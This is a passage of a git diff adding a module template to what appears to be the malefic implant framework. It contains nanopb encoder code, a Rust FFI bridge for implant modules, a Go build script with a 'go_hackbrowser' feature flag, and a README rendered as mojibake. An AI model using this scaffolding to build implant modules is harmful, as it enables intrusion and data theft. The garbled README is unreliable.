PB_WITHOUT_64BIT +bool checkreturn pb_encode_fixed64(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 8); +#else + uint64_t val = *(const uint64_t*)value; + pb_byte_t bytes[8]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + bytes[4] = (pb_byte_t)((val >> 32) & 0xFF); + bytes[5] = (pb_byte_t)((val >> 40) & 0xFF); + bytes[6] = (pb_byte_t)((val >> 48) & 0xFF); + bytes[7] = (pb_byte_t)((val >> 56) & 0xFF); + return pb_write(stream, bytes, 8); +#endif +} +#endif + +bool checkreturn pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number) +{ + pb_uint64_t tag = ((pb_uint64_t)field_number << 3) | wiretype; + return pb_encode_varint(stream, tag); +} + +bool pb_encode_tag_for_field ( pb_ostream_t* stream, const pb_field_iter_t* field ) +{ + pb_wire_type_t wiretype; + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + wiretype = PB_WT_VARINT; + break; + + case PB_LTYPE_FIXED32: + wiretype = PB_WT_32BIT; + break; + + case PB_LTYPE_FIXED64: + wiretype = PB_WT_64BIT; + break; + + case PB_LTYPE_BYTES: + case PB_LTYPE_STRING: + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + case PB_LTYPE_FIXED_LENGTH_BYTES: + wiretype = PB_WT_STRING; + break; + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } + + return pb_encode_tag(stream, wiretype, field->tag); +} + +bool checkreturn pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size) +{ + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + return pb_write(stream, buffer, size); +} + +bool checkreturn pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + /* First calculate the message size using a non-writing substream. */ + pb_ostream_t substream = PB_OSTREAM_SIZING; + size_t size; + bool status; + + if (!pb_encode(&substream, fields, src_struct)) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + return false; + } + + size = substream.bytes_written; + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing */ + + if (stream->bytes_written + size > stream->max_size) + PB_RETURN_ERROR(stream, "stream full"); + + /* Use a substream to verify that a callback doesn't write more than + * what it did the first time. */ + substream.callback = stream->callback; + substream.state = stream->state; + substream.max_size = size; + substream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + substream.errmsg = NULL; +#endif + + status = pb_encode(&substream, fields, src_struct); + + stream->bytes_written += substream.bytes_written; + stream->state = substream.state; +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + + if (substream.bytes_written != size) + PB_RETURN_ERROR(stream, "submsg size changed"); + + return status; +} + +/* Field encoders */ + +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + uint32_t value = safe_read_bool(field->pData) ? 1 : 0; + PB_UNUSED(field); + return pb_encode_varint(stream, value); +} + +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + /* Perform unsigned integer extension */ + pb_uint64_t value = 0; + + if (field->data_size == sizeof(uint_least8_t)) + value = *(const uint_least8_t*)field->pData; + else if (field->data_size == sizeof(uint_least16_t)) + value = *(const uint_least16_t*)field->pData; + else if (field->data_size == sizeof(uint32_t)) + value = *(const uint32_t*)field->pData; + else if (field->data_size == sizeof(pb_uint64_t)) + value = *(const pb_uint64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + return pb_encode_varint(stream, value); + } + else + { + /* Perform signed integer extension */ + pb_int64_t value = 0; + + if (field->data_size == sizeof(int_least8_t)) + value = *(const int_least8_t*)field->pData; + else if (field->data_size == sizeof(int_least16_t)) + value = *(const int_least16_t*)field->pData; + else if (field->data_size == sizeof(int32_t)) + value = *(const int32_t*)field->pData; + else if (field->data_size == sizeof(pb_int64_t)) + value = *(const pb_int64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + return pb_encode_svarint(stream, value); +#ifdef PB_WITHOUT_64BIT + else if (value < 0) + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)-1); +#endif + else + return pb_encode_varint(stream, (pb_uint64_t)value); + + } +} + +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field) +{ +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float) && PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + return pb_encode_float_as_double(stream, *(float*)field->pData); + } +#endif + + if (field->data_size == sizeof(uint32_t)) + { + return pb_encode_fixed32(stream, field->pData); + } +#ifndef PB_WITHOUT_64BIT + else if (field->data_size == sizeof(uint64_t)) + { + return pb_encode_fixed64(stream, field->pData); + } +#endif + else + { + PB_RETURN_ERROR(stream, "invalid data_size"); + } +} + +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_bytes_array_t *bytes = NULL; + + bytes = (const pb_bytes_array_t*)field->pData; + + if (bytes == NULL) + { + /* Treat null pointer as an empty bytes field */ + return pb_encode_string(stream, NULL, 0); + } + + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + bytes->size > field->data_size - offsetof(pb_bytes_array_t, bytes)) + { + PB_RETURN_ERROR(stream, "bytes size exceeded"); + } + + return pb_encode_string(stream, bytes->bytes, (size_t)bytes->size); +} + +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + size_t size = 0; + size_t max_size = (size_t)field->data_size; + const char *str = (const char*)field->pData; + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + max_size = (size_t)-1; + } + else + { + /* pb_dec_string() assumes string fields end with a null + * terminator when the type isn't PB_ATYPE_POINTER, so we + * shouldn't allow more than max-1 bytes to be written to + * allow space for the null terminator. + */ + if (max_size == 0) + PB_RETURN_ERROR(stream, "zero-length string"); + + max_size -= 1; + } + + + if (str == NULL) + { + size = 0; /* Treat null pointer as an empty string */ + } + else + { + const char *p = str; + + /* strnlen() is not always available, so just use a loop */ + while (size < max_size && *p != '\0') + { + size++; + p++; + } + + if (*p != '\0') + { + PB_RETURN_ERROR(stream, "unterminated string"); + } + } + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8(str)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return pb_encode_string(stream, (const pb_byte_t*)str, size); +} + +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.encode) + { + if (!callback->funcs.encode(stream, field, &callback->arg)) + return false; + } + } + + return pb_encode_submessage(stream, field->submsg_desc, field->pData); +} + +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + return pb_encode_string(stream, (const pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_encode_float_as_double(pb_ostream_t *stream, float value) +{ + union { float f; uint32_t i; } in; + uint_least8_t sign; + int exponent; + uint64_t mantissa; + + in.f = value; + + /* Decompose input value */ + sign = (uint_least8_t)((in.i >> 31) & 1); + exponent = (int)((in.i >> 23) & 0xFF) - 127; + mantissa = in.i & 0x7FFFFF; + + if (exponent == 128) + { + /* Special value (NaN etc.) */ + exponent = 1024; + } + else if (exponent == -127) + { + if (!mantissa) + { + /* Zero */ + exponent = -1023; + } + else + { + /* Denormalized */ + mantissa <<= 1; + while (!(mantissa & 0x800000)) + { + mantissa <<= 1; + exponent--; + } + mantissa &= 0x7FFFFF; + } + } + + /* Combine fields */ + mantissa <<= 29; + mantissa |= (uint64_t)(exponent + 1023) << 52; + mantissa |= (uint64_t)sign << 63; + + return pb_encode_fixed64(stream, &mantissa); +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h new file mode 100644 index 0000000..6dc089d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h @@ -0,0 +1,195 @@ +/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c. + * The main function is pb_encode. You also need an output stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_ENCODE_H_INCLUDED +#define PB_ENCODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom output streams. You will need to provide + * a callback function to write the bytes to your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause encoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer). + * 3) pb_write will update bytes_written after your callback runs. + * 4) Substreams will modify max_size and bytes_written. Don't use them + * to calculate any pointers. + */ +struct pb_ostream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + * Also, NULL pointer marks a 'sizing stream' that does not + * write anything. + */ + const int *callback; +#else + bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_ostream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Limit number of output bytes written. Can be set to SIZE_MAX. */ + size_t max_size; + + /* Number of bytes written so far. */ + size_t bytes_written; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +/*************************** + * Main encoding functions * + ***************************/ + +/* Encode a single protocol buffers message from C structure into a stream. + * Returns true on success, false on any failure. + * The actual struct pointed to by src_struct must match the description in fields. + * All required fields in the struct are assumed to have been filled in. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_ostream_t stream; + * + * msg.field1 = 42; + * stream = pb_ostream_from_buffer(buffer, sizeof(buffer)); + * pb_encode(&stream, MyMessage_fields, &msg); + */ +bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +/* Extended version of pb_encode, with several options to control the + * encoding process: + * + * PB_ENCODE_DELIMITED: Prepend the length of message as a varint. + * Corresponds to writeDelimitedTo() in Google's + * protobuf API. + * + * PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination. + * NOTE: This behaviour is not supported in most other + * protobuf implementations, so PB_ENCODE_DELIMITED + * is a better option for compatibility. + */ +#define PB_ENCODE_DELIMITED 0x02U +#define PB_ENCODE_NULLTERMINATED 0x04U +bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED) +#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED) + +/* Encode the message to get the size of the encoded data, but do not store + * the data. */ +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an output stream for writing into a memory buffer. + * The number of bytes written can be found in stream.bytes_written after + * encoding the message. + * + * Alternatively, you can use a custom stream that writes directly to e.g. + * a file or a network socket. + */ +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize); + +/* Pseudo-stream for measuring the size of a message without actually storing + * the encoded data. + * + * Example usage: + * MyMessage msg = {}; + * pb_ostream_t stream = PB_OSTREAM_SIZING; + * pb_encode(&stream, MyMessage_fields, &msg); + * printf("Message size is %d\n", stream.bytes_written); + */ +#ifndef PB_NO_ERRMSG +#define PB_OSTREAM_SIZING {0,0,0,0,0} +#else +#define PB_OSTREAM_SIZING {0,0,0,0} +#endif + +/* Function to write into a pb_ostream_t stream. You can use this if you need + * to append or prepend some custom headers to the message. + */ +bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Encode field header based on type and field number defined in the field + * structure. Call this from the callback before writing out field contents. */ +bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field); + +/* Encode field header by manually specifying wire type. You need to use this + * if you want to write out packed arrays from a callback field. */ +bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number); + +/* Encode an integer in the varint format. + * This works for bool, enum, int32, int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_varint(pb_ostream_t *stream, uint64_t value); +#else +bool pb_encode_varint(pb_ostream_t *stream, uint32_t value); +#endif + +/* Encode an integer in the zig-zagged svarint format. + * This works for sint32 and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_svarint(pb_ostream_t *stream, int64_t value); +#else +bool pb_encode_svarint(pb_ostream_t *stream, int32_t value); +#endif + +/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */ +bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size); + +/* Encode a fixed32, sfixed32 or float value. + * You need to pass a pointer to a 4-byte wide C variable. */ +bool pb_encode_fixed32(pb_ostream_t *stream, const void *value); + +#ifndef PB_WITHOUT_64BIT +/* Encode a fixed64, sfixed64 or double value. + * You need to pass a pointer to a 8-byte wide C variable. */ +bool pb_encode_fixed64(pb_ostream_t *stream, const void *value); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Encode a float value so that it appears like a double in the encoded + * message. */ +bool pb_encode_float_as_double(pb_ostream_t *stream, float value); +#endif + +/* Encode a submessage field. + * You need to pass the pb_field_t array and pointer to struct, just like + * with pb_encode(). This internally encodes the submessage twice, first to + * calculate message size and then to actually write it out. + */ +bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/lib.rs b/malefic-3rd-template/malefic-3rd-c/src/lib.rs new file mode 100644 index 0000000..63e6adf --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/lib.rs @@ -0,0 +1,30 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn CModuleName() -> *const c_char; + fn CModuleHandle( + task_id: c_uint, + req_data: *const c_char, + req_len: c_int, + resp_data: *mut *mut c_char, + resp_len: *mut c_int, + ) -> c_int; +} + +pub struct CModule { + name: String, +} + +impl RtModule for CModule { + fn name() -> &'static str { "example_c" } + + fn new() -> Self { + let name = unsafe { ffi_module_name(CModuleName, false) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, CModuleHandle, "CModuleHandle") + } +} diff --git a/malefic-3rd-template/malefic-3rd-ffi/Cargo.toml b/malefic-3rd-template/malefic-3rd-ffi/Cargo.toml new file mode 100644 index 0000000..6a2ddba --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-ffi/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "malefic-3rd-ffi" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_3rd_ffi" +path = "src/lib.rs" + +[dependencies] +malefic-proto = { workspace = true } +malefic-runtime = { workspace = true } +prost = { workspace = true } diff --git a/malefic-3rd-template/malefic-3rd-ffi/src/lib.rs b/malefic-3rd-template/malefic-3rd-ffi/src/lib.rs new file mode 100644 index 0000000..1979ec6 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-ffi/src/lib.rs @@ -0,0 +1,170 @@ +//! Shared FFI utilities for malefic 3rd-party language modules. +//! +//! Provides: +//! - [`FfiBuffer`] — RAII guard for foreign-allocated memory +//! - [`ffi_free`] / [`ffi_module_name`] — C memory helpers +//! - [`encode_request`] / [`decode_response`] — protobuf serialization +//! - [`HandlerFn`] / [`ffi_handler_loop`] — bridge for synchronous handlers +//! - Re-exports of [`RtModule`], [`RtChannel`], [`RtResult`] for module implementations + +pub use std::ffi::{c_char, c_int, c_uint, CStr}; + +// ── Runtime re-exports (used by all module wrappers) ──────────────────────── + +pub use malefic_runtime::module_sdk::{RtModule, RtChannel, RtResult, RtChannelError}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::modulepb::{Request, Response}; + +// ── libc free ─────────────────────────────────────────────────────────────── + +extern "C" { + fn free(ptr: *mut std::ffi::c_void); +} + +/// Free a pointer allocated by foreign code (C `malloc` / Go `C.CBytes` / etc.). +/// +/// # Safety +/// `ptr` must have been allocated by the C allocator (`malloc`). +pub unsafe fn ffi_free(ptr: *mut c_char) { + free(ptr as *mut std::ffi::c_void); +} + +// ── FfiBuffer ─────────────────────────────────────────────────────────────── + +/// RAII guard for a buffer allocated by foreign code via `malloc`. +/// On drop, calls `free()` to release the memory. +pub struct FfiBuffer { + ptr: *mut c_char, + len: usize, +} + +impl FfiBuffer { + /// # Safety + /// `ptr` must be non-null, valid for `len` bytes, and allocated via `malloc`. + pub unsafe fn new(ptr: *mut c_char, len: usize) -> Self { + Self { ptr, len } + } + + pub fn as_bytes(&self) -> &[u8] { + unsafe { std::slice::from_raw_parts(self.ptr as *const u8, self.len) } + } +} + +impl Drop for FfiBuffer { + fn drop(&mut self) { + if !self.ptr.is_null() { + unsafe { ffi_free(self.ptr) }; + } + } +} + +// ── Module name retrieval ─────────────────────────────────────────────────── + +/// Retrieve a module name string from an FFI `name_fn`. +/// +/// `needs_free`: true for Go (heap-allocated `C.CString`), false for C/Zig/Nim (static). +/// +/// # Safety +/// `name_fn` must return a valid, NUL-terminated C string. +pub unsafe fn ffi_module_name( + name_fn: unsafe extern "C" fn() -> *const c_char, + needs_free: bool, +) -> String { + let ptr = name_fn(); + let name = CStr::from_ptr(ptr).to_string_lossy().into_owned(); + if needs_free { + ffi_free(ptr as *mut c_char); + } + name +} + +// ── Protobuf encode / decode ──────────────────────────────────────────────── + +pub fn encode_request(request: &Request) -> Result, String> { + let mut buf = Vec::new(); + prost::Message::encode(request, &mut buf) + .map_err(|e| format!("encode error: {}", e))?; + Ok(buf) +} + +pub fn decode_response(bytes: &[u8]) -> Result { + prost::Message::decode(bytes) + .map_err(|e| format!("decode error: {}", e)) +} + +// ── Synchronous FFI handler bridge ────────────────────────────────────────── + +/// Signature shared by all synchronous FFI handlers (C / Zig / Nim). +pub type HandlerFn = unsafe extern "C" fn( + c_uint, *const c_char, c_int, *mut *mut c_char, *mut c_int, +) -> c_int; + +/// Bridge a synchronous `HandlerFn` into the `RtModule::run(channel)` protocol. +/// +/// Buffers the previous result and sends it as an intermediate message when the +/// next request arrives. The final result is returned as `RtResult::Done`. +pub fn ffi_handler_loop( + id: u32, + channel: &RtChannel, + handler: HandlerFn, + handler_name: &str, +) -> RtResult { + let mut last_response: Option = None; + + loop { + let body = match channel.recv() { + Ok(b) => b, + Err(RtChannelError::Eof) => break, + Err(e) => return RtResult::Error(format!("{}: recv: {}", handler_name, e)), + }; + + let request = match body { + Body::Request(req) => req, + _ => break, + }; + + if let Some(prev) = last_response.take() { + if channel.send(prev).is_err() { break; } + } + + let req_buf = match encode_request(&request) { + Ok(b) => b, + Err(e) => return RtResult::Error(format!("{}: {}", handler_name, e)), + }; + + let mut resp_ptr: *mut c_char = std::ptr::null_mut(); + let mut resp_len: c_int = 0; + + let rc = unsafe { + handler( + id as c_uint, + req_buf.as_ptr() as *const c_char, + req_buf.len() as c_int, + &mut resp_ptr, + &mut resp_len, + ) + }; + + if rc != 0 { + return RtResult::Error(format!("{} failed (task {}, rc={})", handler_name, id, rc)); + } + + let response = if !resp_ptr.is_null() && resp_len > 0 { + let buf = unsafe { FfiBuffer::new(resp_ptr, resp_len as usize) }; + match decode_response(buf.as_bytes()) { + Ok(r) => r, + Err(e) => return RtResult::Error(format!("{}: {}", handler_name, e)), + } + } else { + if !resp_ptr.is_null() { unsafe { ffi_free(resp_ptr) }; } + Response::default() + }; + + last_response = Some(Body::Response(response)); + } + + match last_response { + Some(body) => RtResult::Done(body), + None => RtResult::Error(format!("module {} produced no output", handler_name)), + } +} diff --git a/malefic-3rd-template/malefic-3rd-go/Cargo.toml b/malefic-3rd-template/malefic-3rd-go/Cargo.toml new file mode 100644 index 0000000..a3083ef --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/Cargo.toml @@ -0,0 +1,18 @@ +[package] +name = "malefic-3rd-go" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_go" +path = "src/lib.rs" + +[features] +default = ["go_example"] +go_example = [] +go_hackbrowser = [] + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } diff --git a/malefic-3rd-template/malefic-3rd-go/README.md b/malefic-3rd-template/malefic-3rd-go/README.md new file mode 100644 index 0000000..d9856ef --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/README.md @@ -0,0 +1,123 @@ +# malefic-3rd-go + +Go 语言模å—,通过 cgo `c-archive` ç¼–è¯‘ä¸ºé™æ€åº“åŽé“¾æŽ¥åˆ° Rust。支æŒç®€å•请求-å“应和åŒå‘æµå¼ä¸¤ç§æ¨¡å¼ã€‚ + +## å‰ç½®è¦æ±‚ + +- Go 1.21+ +- `CGO_ENABLED=1`(build.rs 自动设置) + +## 目录结构 + +``` +malefic-3rd-go/ +├── Cargo.toml +├── build.rs # go build -buildmode=c-archive +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 + æµå¼ run() + └── go/ + ├── go.mod + ├── main.go # FFI 导出 + session ç®¡ç† + ├── malefic/ + │ ├── module.go # GoModule / GoModuleHandler æŽ¥å£ + │ ├── module.proto + │ └── module.pb.go # protobuf 生æˆä»£ç  + └── example/ + └── example.go # ç¤ºä¾‹æ¨¡å— +``` + +## æž¶æž„ + +Rust å’Œ Go 之间通过åŒå‘æµå¼ FFI 通信: + +``` +Rust async Go goroutine +───────── ───────────── +Input channel ──GoModuleSend()──→ input chan + ↓ + module.Run() + ↓ +recv thread â†â”€GoModuleRecv()─── output chan + ↓ +futures::select! ──→ Output/return +``` + +## ä¸¤å±‚æŽ¥å£ + +```go +// GoModuleHandler — ç®€å•æ¨¡å—,无需接触 channel +type GoModuleHandler interface { + Name() string + Handle(taskId uint32, req *Request) (*Response, error) +} + +// GoModule — 底层æµå¼æŽ¥å£ï¼Œæ”¯æŒå¤šå“应/长任务 +type GoModule interface { + Name() string + Run(taskId uint32, input <-chan *Request, output chan<- *Response) +} +``` + +`malefic.AsModule(handler)` å¯å°† `GoModuleHandler` 包装为 `GoModule`。 + +## ç¼–å†™æ¨¡å— + +### ç®€å•æ¨¡å—(GoModuleHandler) + +```go +package yourmod + +import "malefic-3rd-go/malefic" + +type Module struct{} + +func (m *Module) Name() string { return "your_module" } + +func (m *Module) Handle(taskId uint32, req *malefic.Request) (*malefic.Response, error) { + return &malefic.Response{ + Output: "hello, input: " + req.Input, + }, nil +} +``` + +### æµå¼æ¨¡å—(GoModule) + +```go +package yourmod + +import "malefic-3rd-go/malefic" + +type Module struct{} + +func (m *Module) Name() string { return "your_module" } + +func (m *Module) Run(taskId uint32, input <-chan *malefic.Request, output chan<- *malefic.Response) { + for req := range input { + // å¯ä»¥å‘é€å¤šä¸ªå“应 + output <- &malefic.Response{Output: "processing: " + req.Input} + } +} +``` + +### æ³¨å†Œæ¨¡å— + +编辑 `main.go` 中的 `module` å˜é‡ï¼š + +```go +var module malefic.GoModule = malefic.AsModule(&yourmod.Module{}) // ç®€å•æ¨¡å— +var module malefic.GoModule = &yourmod.Module{} // æµå¼æ¨¡å— +``` + +## 添加 Go ä¾èµ– + +```bash +cd malefic-3rd-go/src/go +go get github.com/some/package +``` + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,golang_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-go/build.rs b/malefic-3rd-template/malefic-3rd-go/build.rs new file mode 100644 index 0000000..fa7cb23 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/build.rs @@ -0,0 +1,65 @@ +use std::env; +use std::path::PathBuf; +use std::process::Command; + +fn build_go(go_src_dir: &PathBuf, archive_path: &PathBuf) { + // Standard Go c-archive: fully self-contained static library + let status = Command::new("go") + .current_dir(go_src_dir) + .env("CGO_ENABLED", "1") + .arg("build") + .arg("-buildmode=c-archive") + .arg("-ldflags=-s -w") + .arg("-trimpath") + .arg("-gcflags=-B") + .arg("-o") + .arg(archive_path) + .arg(".") + .status() + .expect("Failed to execute `go build`. Is Go installed and in PATH?"); + + if !status.success() { + panic!("go build -buildmode=c-archive failed"); + } +} + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let go_module_dir = if cfg!(feature = "go_hackbrowser") { + "hackbrowser" + } else { + "example" + }; + let go_src_dir = manifest_dir.join("src").join("go").join(go_module_dir); + let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); + let lib_name = "malefic_go"; + let archive_path = out_dir.join(format!("lib{}.a", lib_name)); + + build_go(&go_src_dir, &archive_path); + + println!("cargo:rustc-link-search=native={}", out_dir.display()); + println!("cargo:rustc-link-lib=static={}", lib_name); + + // Go runtime needs platform libs + let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap_or_default(); + match target_os.as_str() { + "windows" => { + for lib in &["ws2_32", "winmm", "ntdll", "userenv", "bcrypt"] { + println!("cargo:rustc-link-lib=dylib={}", lib); + } + } + "linux" => { + for lib in &["pthread", "dl", "m"] { + println!("cargo:rustc-link-lib=dylib={}", lib); + } + } + "macos" => { + println!("cargo:rustc-link-lib=framework=CoreFoundation"); + println!("cargo:rustc-link-lib=framework=Security"); + println!("cargo:rustc-link-lib=dylib=pthread"); + } + _ => {} + } + + println!("cargo:rerun-if-changed={}", go_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod new file mode 100644 index 0000000..2ac2f2b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.mod @@ -0,0 +1,12 @@ +module malefic-example + +go 1.23.1 + +require malefic-core v0.0.0 + +require ( + github.com/aperturerobotics/json-iterator-lite v1.0.0 // indirect + github.com/aperturerobotics/protobuf-go-lite v0.12.1 // indirect +) + +replace malefic-core => ../malefic diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum new file mode 100644 index 0000000..c5012b8 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-go/src/go/example/go.sum @@ -0,0 +1,14 @@ +github.com/aperturerobotics/json-iterator-lite v1.0.0 h1:cihbrYWoK/S2RYXhJLpDZd+GUjVvFJN+D3w1VOqqHRI= +github.com/aperturerobotics/json-iterator-lite v1.0.0/go.mod h1:snaApCEDtrHHP6UWSLKiYNOZU9A5NyzccKenx9oZEzg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1 h1:o9of87F/LFS2p5xfq32CrU99dvfqIAalTP7ZzoZK6Kg= +github.com/aperturerobotics/protobuf-go-lite v0.12.1/go.mod h1:lGH3s5ArCTXKI4wJdlNpaybUtwSjfAG0vdWjxOfMcF8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/malefic-3rd-template/malefic-3rd-go/src/go/example/main.go 